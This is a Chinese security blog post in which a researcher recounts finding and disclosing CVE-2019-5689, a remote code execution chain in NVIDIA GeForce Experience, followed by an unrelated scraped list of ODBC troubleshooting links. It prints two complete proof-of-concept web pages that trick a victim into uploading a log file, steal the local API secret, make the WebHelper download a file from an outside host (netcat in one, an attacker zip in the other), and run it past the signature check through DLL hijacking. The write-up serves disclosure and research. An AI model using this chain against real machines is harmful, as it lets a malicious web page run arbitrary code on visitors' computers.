0x01 前言大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF。不久前,我发现了我的第一个0day漏洞,此漏洞存在于NVIDIA GeForce Experience 3.20.1之前的版本,是由宽松的CORS策略和驱动程序下载链接的未验证以及Geforce Experience主程序的DLL劫持共同导致的,攻击者在精心构造的网页上欺骗用户进行少量交互后,能够在目标机器上执行任意代码,上报此漏洞至NVIDIA后,NVIDIA为此漏洞分配了CVE编号:CVE-2019-5689,同时进行公开致谢。在这篇文章中,我将分享我是如何发现我的第一个0day的,由于本人并非计算机及相关专业,文章中难免有错漏之处,望各位批评指正。

0x02 GeForce Experience

NVIDIA在官网上如是介绍GFE:“让您的驱动程序时刻保持最新状态、一键优化游戏设置,还可与朋友们录制游戏视频、捕捉游戏画面和直播。GeForce Experience™ 满足您的一切所需,它是 GeForce® GTX 显卡的强劲搭档。”我个人是N卡死忠粉,而且平时也做一点深度学习方面的东西,所以NV家的这些东西安装得非常齐全。

0x03 正文

0x03.1 与CVE-2019-5678的不解之缘

不久前,我偶然阅读了RHINO的CVE-2019-5678漏洞分析,文章里面对提到NVIDIA GeForce Experience会启动一个WebHelper程序,这个WebHelper本质上是基于NodeJS的后台,用于支持GeForce Experience进行各项功能的调用,NVIDIA通过在请求中加入secret验证以及使用动态端口号来确保WebHelper收到的请求来自可信来源,然而却在CORS中将Access-Control-Allow-Origin设置为*,即允许所有来源,在CVE-2019-5678的漏洞分析中,secret值和端口号被存储在%LOCALAPPDATA%NVIDIA CorporationNvNodenodejs.json中,可以通过在网页上欺骗用户进行交互操作来诱使用户错误地将此文件上传,在获取到secret值和端口号后,于网页中发起XHR请求来与WebHelper进行交互,再进一步利用WebHelper中NvAutoDownload.js存在的命令注入漏洞。文章原作者在文章最后的一句话引起了我的注意,作者原话如下:

It appears to fix this issue NVIDIA has removed the endpoint which allows the command injection. However, they did not change the open CORS policy and the nodejs.json file remains at a static location. This means that it is still possible to interact with the GFE API through the browser using the method described in this blog.

大意如下:

NVIDIA的修复方法似乎值是将造成命令注入的端点直接删除。它们没有修复宽松的CORS策略,并且仍把nodejs.json文件存放在静态位置。所以我仍然可以用这篇文章讲的方法与GFE API端点交互

这句话深深地启发了我,既然我仍然可以与WebHelper交互,那么我可不可以在WebHelper浩如烟海的API中寻找另外的更隐蔽的漏洞点呢。

0x03.2 与WebHelper交互的可能性探讨

说干就干,我来到C:\Program Files (x86)\NVIDIA Corporation\NvNode目录下,此处存放的是WwebHelper所用到的一些JS文件以及一些使用C++写的node文件,进行来源验证的代码在index.js中,如下图,确实与RHINO的分析中一致:

继续寻找我所需的nodejs.json,但是一开始我就傻眼了,没错,NVIDIA“机智”地把这个nodejs.json移除了,那岂不是没啦?难道我的漏洞挖掘还没开始就要结束?必不可能,我发现GFE会往%LOCALAPPDATA%NVIDIA Corporation下的几个子文件夹里面写入一些日志,那么这些日志有没有可能泄露一些蛛丝马迹?果不其然,我没费多大力气就在NVIDIA GeForce Experience文件夹下的console.log中发现了我想找的东西,GFE好巧不巧地将secret值和端口号写进了这个日志文件里边,如下图:

但是要通过这个日志文件泄露端口号和secret值有一个条件,就是用户在之前必须手动启动一次GFE,所以要实现最理想状态下的利用,我得另找办法,在%LOCALAPPDATA%NVIDIA Corporation目录下,存在着一个NVIDIA Share文件夹,里面同样有一个console.log,只要GFE的游戏内覆盖功能处于启用状态,同样会往这个文件里写入端口号和secret值,如下图:

而这个功能是默认启用的,所以我通过这个文件泄露出的端口号和secret值来实现与WebHelper的稳定交互。

0x03.3 漏洞挖掘

要寻找漏洞,我可以从看起来比较危险或者和外部发生频繁数据交换的功能开始下手,结合GFE本身的主要功能,纵观整个WebHelper中的API,我对GFE的驱动下载API产生了兴趣,于是把主要关注点放在downloader.js中,在downloader.js中,我发现了驱动下载的API:

可以看到该API包含三个参数version,url,downloadType,这三个参数中的version代表所下载驱动的版本,不用特别关注,downloadType指下载类型,也不用特别在意,url应该就是NVIDIA提供的驱动程序下载链接了,那么如果我将此处的url替换成其他来源的文件,岂不是就能够把任意文件植入用户的机器上了?但是此时,我还不知道这个API的参数是何种格式的,不过没关系,只要在GFE中触发一次驱动下载,GFE会将所有我需要的信息都写入console.log中:

修改url是否会奏效?NVIDIA是否在此处验证了链接指向的站点?马上参考CVE-2019-5678的POC编写一段POC来试试:

<html><head>    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js">script>head><body>    <script>        //Send request to local GFE server        url = "https%3a%2f%2feternallybored.org%2fmisc%2fnetcat%2fnetcat-win32-1.11.zip";        function submitRequest(port, secret) {            xhrUpload = new XMLHttpRequest();            xhrUpload.open("POST", "http://127.0.0.1:" + port + "/download/v.0.1/start/233/" + url + "/1", true);            xhrUpload.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");            xhrUpload.setRequestHeader("Accept-Language", "en-US,en;q=0.5");            xhrUpload.setRequestHeader("Content-Type", "text/html");            xhrUpload.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);            xhrUpload.onreadystatechange = function() {                if (xhrUpload.readyState === 4) {                    if (xhrUpload.status == 200) {                        console.log(xhrUpload.responseText);                    }                }            }            xhrUpload.send(null);        }        $(document).on('change', '.file-upload-button', function(event) {            var reader = new FileReader();            reader.onload = function(event) {                var log = event.target.result;                var pat1 = new RegExp('port": (.*?),');                var pat2 = new RegExp('secret": "(.*?)"');                var port = pat1.exec(log)[1];                var secret = pat2.exec(log)[1];                console.log(port);                console.log(secret);                submitRequest(port, secret);            }            reader.readAsText(event.target.files[0]);        });        //Copy text from some text field        function myFunction() {            var copyText = document.getElementById("myInput");            copyText.select();            document.execCommand("copy");        }        //trigger the copy and file window on ctrl press        $(document).keydown(function(keyPressed) {            if (keyPressed.keyCode == 17) {                myFunction();                document.getElementById('file-input').click();            }        });script>    <h2>        Press CTRL+V+Enter    h2>        <input type="text" value="%LOCALAPPDATA%NVIDIA CorporationNVIDIA Shareconsole.log" id="myInput" style="opacity: 0;" readonly>        <input id="file-input" onclick="this.value=null;" class='file-upload-button' type="file" name="name" style="display: none;" />body>html>

需要注意的是,使用驱动下载API仅仅会创建下载任务,并不保证响应时对应任务已经下载完成。特别地,由于我采用本机或局域网测试,故在测试时每次文件下载完成度几乎都为100%,不需要特意操心这个问题,如果要在远程进行利用,则应该使用查询特定任务下载进度的API进行轮询。在POC中,需要按下Ctrl+V+Enter,按下Ctrl键时,隐藏控件里面包含的console.log路径%LOCALAPPDATA%NVIDIA CorporationNVIDIA GeForce Experienceconsole.log会被复制到剪贴板,然后打开一个文件选择对话框,此时按下V的作用是将路径粘贴到文件选择对话框中,再按Enter,console.log即被上传,通过正则匹配获取到端口号和secret值,构造XHR请求来发起文件下载,并打印Webhelper后端返回的信息,执行此POC后,可以看到控制台输出了如下内容:

可以看到WebHelper返回的内容中包含downloadedLocation字段,此字段即为文件下载路径,来到此路径,发现文件已经下载成功,如下图,证明NVIDIA并未在此处加入URL来源验证。

在之前的工作中,我已经能够将任意文件植入用户计算机,但是路径并不受控制,不过没有关系,我最终的目的是在用户机器上执行植入的文件,首先编写一个简单的poc.exe备用,功能为弹出一个MessageBox,代码如下:

#include "stdafx.h"#include int main(){    MessageBoxA(NULL, "I love FRY forever.", NULL, NULL);    return 0;}

接下来考虑如何执行我植入的文件,此时我忽然灵光乍现,GFE本身是驱动下载安装一气呵成的,WebHelper既然提供驱动下载API,那么很可能也有驱动安装相关的API,而驱动安装就涉及到执行下载后的文件,于是马上回到WebHelper的js源码,看到一个名为DriverInstallAPI.js的文件,在里面发现驱动安装的API,如下图:

driverInstall.Start函数位于外部的DriverInstall.node中,所以接下来有请神器IDA,使用IDA载入DriverInstall.node,在导入表中找到v8::String::NewFromUtf8(v8::Isolate ,char const ,v8::String::NewStringType,int),查看交叉引用,定位到sub_1000C0D0,sub_1000C0D0函数的主要作用是绑定函数,如下图:

找到Start函数入口点sub_10010CD0,经分析得知此函数的功能是解析POST请求的一些参数,此处所解析的参数为我构造XHR请求提供了依据,如下图:

接下来我会发现貌似跟丢了2333,参数倒是解析了,但是最后是在哪里用到的呢?设想一下,驱动安装程序最后如果要得到执行,必然会调用CreateProcess或者ShellExecute之类的win32 API,那么何不先关注一下这个部分?那么按照这个思想,我很轻易就能够找到函数sub_100042CD,这是一个既调用了CreateProcessW又调用了ShellExecuteExW的函数,如下图:

在相应位置下断点,Attach到WebHelper进程,使用新构造的POC来看看,然而会发现并没有命中断点,所以往前追,发现了如下的签名检查,我自己的exe自然是通不过检查的:

接下来想想办法绕过签名检查,我继续往前追,可以发现其实在签名检查之前也有一次调用sub_100042CD的机会,只需要想办法使v1[2]不为0就可以了:

经过分析,可以发现v1[2]正是POST请求中的isPFW字段,所以应该在请求中将isPFW设置为true,然后再跑起来,终于在CreateProcessW处断下:

但是发现,此处并没有直接执行下载下来的文件,而是调用7z对下载得来的文件进行解压(non evaluate mode),解压完成后,会检查解压出来的文件中是否包含setup.exe,代码如下:

所以得继续修正我的POC,目前的想法是构造一个zip文件,内含setup.exe,将原来的poc.exe重命名为setup.exe,打包成poc.zip,再次跑起来,走完上述流程后,还是会到达签名检查的位置,程序依然会对setup.exe进行签名检查,那岂不是又没啦?不过天无绝人之路,想一想我将isPFW设置为true带来了什么变化?这使我的原语从只能植入单个文件“升级”到了能够植入多个文件,既然程序会对setup.exe进行签名检查,那好,就找一个具有NVIDIA有效签名的程序重命名为setup.exe呗,那么要如何执行代码?是的,我得想办法进行DLL劫持,DLL劫持一般不会被认为是多么严重的漏洞,但是在此处,就显得尤其关键,当然exe和DLL的选择也很有讲究,我最理想的情况是能够找到一个被有NVIDIA签名的程序加载的无签名DLL,我四处瞧了瞧,NVIDIA GeForce Experience.exe和libcef.dll看起来好像就很合适,所以使用我自己多年前写的一个DLL劫持(x64)的python脚本(参见https://github.com/InoriJam/DLL-hijack-X64)来生成一份伪造libcef.dll的源码,源码生成完毕,将编译好的libcef.dll与setup.exe(NVIDIA GeForce Experience.exe重命名所得)一起打包成一个zip文件,再次执行,终于在ShellExecuteExW(evaluate mode)处断下,此处执行的即为setup.exe:

最后检验一下能不能成功弹出计算器,成功啦!开心!

0x04 POC

本地测试的POC如下:

<html><head>    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js">script>head><body>    <script>        //Send request to local GFE server        function submitRequest(port, secret) {            var xhrUpload = new XMLHttpRequest();            //Edit the port number of http%3a%2f%2f127.0.0.1%3a8080%2fexp.zip according to the server port config(Here are 8080)            xhrUpload.open("POST", "http://127.0.0.1:" + port + "/download/v.0.1/start/233/http%3a%2f%2f127.0.0.1%3a8080%2fexp.zip/1", true);            xhrUpload.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");            xhrUpload.setRequestHeader("Accept-Language", "en-US,en;q=0.5");            xhrUpload.setRequestHeader("Content-Type", "text/html");            xhrUpload.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);            xhrUpload.send(null);            xhrUpload.onreadystatechange = function() {                if (xhrUpload.readyState === 4) {                    if (xhrUpload.status == 200) {                        console.log(xhrUpload.responseText);                        var downloadLocation = JSON.parse(xhrUpload.responseText)["downloadedLocation"];                        var xhrExecute = new XMLHttpRequest();                        xhrExecute.open("POST", "http://127.0.0.1:" + port + "/DriverInstall/v.0.1/Start", true);                        xhrExecute.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");                        xhrExecute.setRequestHeader("Accept-Language", "en-US,en;q=0.5");                        xhrExecute.setRequestHeader("Content-Type", "text/html");                        xhrExecute.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);                        xhrExecute.send(JSON.stringify({                            'pfwLocation': downloadLocation,                            'isPfw': true,                            'driverLocation': downloadLocation,                            'isCustom': false                        }));                        xhrExecute.onreadystatechange = function() {                            if (xhrExecute.readyState === 4) {                                if (xhrExecute.status == 201) {                                    console.log(xhrExecute.responseText);                                    console.log("should RCE");                                }                            }                        }                    }                }            }        }        $(document).on('change', '.file-upload-button', function(event) {            var reader = new FileReader();            reader.onload = function(event) {                var log = event.target.result;                var pat1 = new RegExp('port": (.*?),');                var pat2 = new RegExp('secret": "(.*?)"');                var port = pat1.exec(log)[1];                var secret = pat2.exec(log)[1];                console.log(port);                console.log(secret);                submitRequest(port, secret);            }            reader.readAsText(event.target.files[0]);        });        //Copy text from some text field        function myFunction() {            var copyText = document.getElementById("myInput");            copyText.select();            document.execCommand("copy");        }        //trigger the copy and file window on ctrl press        $(document).keydown(function(keyPressed) {            if (keyPressed.keyCode == 17) {                myFunction();                document.getElementById('file-input').click();            }        });script>    <h2>        Press CTRL+V+Enter    h2>        <input type="text" value="%LOCALAPPDATA%NVIDIA CorporationNVIDIA Shareconsole.log" id="myInput" style="opacity: 0;" readonly>        <input id="file-input" onclick="this.value=null;" class='file-upload-button' type="file" name="name" style="display: none;" />body>html>

为远程利用编写的POC已上传github,可以在此处找到:https://github.com/InoriJam/CVEs/tree/master/CVE-2019-5689

感想

这次漏洞挖掘经历,是我个人的一次成长,我第一次站在安全研究员的角度去分析问题,实现了从0到0day的突破,有感想如下:

  • 1.不要总是相信补丁已经解决了一切问题,应该总是去实际验证补丁是否实际解决了问题,
  • 2.有一说一,在本漏洞挖掘过程中,我曾无数次想过放弃,但是最后都坚持下来了,最后成功弹出计算器的那一刻,激动之情溢于言表。搞安全享受的就是这种山重水复疑无路,柳暗花明又一村,最后克服重重困难,成功exploit的快感不是么?
  • 3.如果本文能够给大家带来一些有用的东西,我就感觉非常开心了。

致谢

本漏洞的发现受到了David Yesland (https://twitter.com/daveysec@daveysec)发现的CVE‑2019‑5678的启发,同时POC部分参考了https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-5678

参考

  • 0x01. NVIDIA GeForce Experience OS Command Injection CVE-2019-5678
  • 0x02. GeForce Experience OS 命令注入
  • 0x03. POC of CVE-2019-5678
  • 0x04. DLL-hijack-X64

时间线

  • 2019.08.06 发现漏洞
  • 2019.08.07 邮件告知NVIDIA并附带POC
  • 2019.08.21 NVIDIA确认漏洞存在
  • 2019.09.06 NVIDIA通知将在10月的第一周发布补丁
  • 2019.09.19 NVIDIA将补丁发布时间延迟到10月29日
  • 2019.10.29 NVIDIA将补丁发布时间延迟到11月的第一周
  • 2019.11.04 NVIDIA修补此漏洞
  • 2019.11.07 NVIDIA发布安全公告及公开致谢
  • 2019.11.08 本漏洞遵循CVD进行披露

未发现数据源名称并且未指定默认驱动程序_看我如何发现NVIDIA GeForce Experience代码执行漏洞...相关推荐

  1. java未发现数据源名称并且未指定默认驱动程序_转:java.sql.SQLException: [Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序...

    在Win7 64位系统下,使用Java+Access数据库编程,用Java连数据库时,出现错误提示,如下: Java java.sql.SQLException: [Microsoft][ODBC 驱 ...

  2. [Microsoft] [ODBC驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 QODBC3:不能连接

    这个问题是我用一个登录程序连接SQLServer数据库时出现的错误,但是根据网上的其他教程来做,依旧没有解决,网上大部分都说要来设置ODBC数据源管理程序,"要用系统DSN". 下 ...

  3. python操作access数据库未发现数据源名称_ASP连接ACCESS数据库失败,提示“未发现数据源名称并且未指定默认驱动程序”...

    小生刚开始学ASP,教材用的是清华大学出版社出版的<网站开发非常之旅ASP网络编程从入门到精通>一书,顼宇峰.马军编著.今天学的是第八章第4节--使用Connection对象,学习过程中看 ...

  4. SQLserver未发现数据源名称并且未指定默认驱动程序

    解决方法: 1.刚安装完SQLserver,就去Navicat里面创建,可能Navicat会出现如下错误: SQLserver未发现数据源名称并且未指定默认驱动程序 查看安装步骤并没有什么问题,最后: ...

  5. 数据库-Navicat连接SQLserver报错:未发现数据源名称并且未指定默认驱动程序

    Navicat连接SQLserver数据库时报错: 未发现数据源名称并且未指定默认驱动程序 导致原因: navicat没有安装sqlserver驱动 解决办法: 打开Navicat的安装路径,Navi ...

  6. ODBC驱动器管理器——未发现数据源名称并且未指定默认驱动程序

    在使用Navicat 连接 sql server 数据库的时候报错 "[ODBC驱动器管理器]未发现数据源名称并且未指定默认驱动程序". 解决方案: step1 注:64位指的是电 ...

  7. Qt程序连接Access数据库,出现“[Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 QODBC3: Unable to connect“错误的解决办法

    Qt程序连接Access数据库,出现 1."[Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 QODBC3: Unable to connect&q ...

  8. mysql 未指定驱动程序_[ODBC驱动程序管理器]未发现数据源名称并且未指定默认驱动程序...

    前几天做扫码关注公众号送饮料的小程序时,在自己的电脑中运行一切正常,不过,当将程序放至使用的电脑时,一打开程序就弹出"[Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且 ...

  9. [IM002] [Microsoft][ODBC驱动程序管理器]未发现数据源名称并且未指定默认驱动程序 Navicat Premium 连接sql server

    [IM002] [Microsoft][ODBC驱动程序管理器]未发现数据源名称并且未指定默认驱动程序 错误 Navicat 连接sqlserver没有驱动,需要先安装一下驱动 解决办法 首先需要找到 ...

最新文章

  1. ubunut离线redis配置_ubuntu安装redis及简单配置
  2. 搜索引擎蜘蛛为什么对网站不爬行呢?
  3. 进临界区(关全局中断)是否会影响数据的接收?
  4. 关于oracle监听程序的相关问题及解决方法
  5. 【问题解决】无法创建新的堆栈防护页面
  6. (回文串全排列个数) xiaoxin juju needs help
  7. 【图像处理】一种低光照图像的亮度提升方法(Adaptive Local Tone Mapping Based on Retinex for High Dynamic Range Images)
  8. 基于JAVA+SpringBoot+Mybatis+MYSQL的足球联赛管理系统
  9. SCCM2012系列之四,SCCM2012部署前的SQL Server准备
  10. jre7或jre8或其他版本共存问题
  11. 字符串压缩算法(腾讯笔试题)
  12. 哈利波特信息站web网页课设报告(html+css)
  13. 《内功修炼系列》之-递归从入门到入土(收藏版)
  14. GNS3 mac环境安装并搭建vlan
  15. 关于VMware 15:在部分链上无法执行所调用的函数,请打开父虚拟磁盘
  16. mysql navicate查询_Mysql Navicate 基础操作与SQL语句 版本5.7.29
  17. 福大计算机课程表,福州大学研究生院-通知公告-福州大学课程表(非全日制工程硕士研究生2017年周末班公共课3-5月份 )...
  18. 如何看待自己正在遭受的挫折?
  19. Unsupported format, or corrupt file: Expected BOF record; found b‘2021\xc4\xea\xca\xfd‘
  20. 科技云报道:让入职效率翻倍,数字认证电子签为滴滴“加速”

热门文章

  1. 蚂蚁科技 Service Mesh 落地实践与挑战 | GIAC 实录
  2. 硬核干货,老曹解密“语音交互”背后的黑科技!
  3. JeecgBoot 移动OA 新版本上线啦!!!
  4. 插件一:JAVA微信砍价活动源码分享[商品帮砍到0元,免费领取奖品]
  5. 数据调度组件:基于Azkaban协调时序任务执行
  6. 数据搬运组件:基于Sqoop管理数据导入和导出
  7. 对象序列化机制的理解
  8. [].slice.call
  9. 用例设计工具PICT — 输入组合覆盖
  10. python index 报错_python基础语法常见报错类型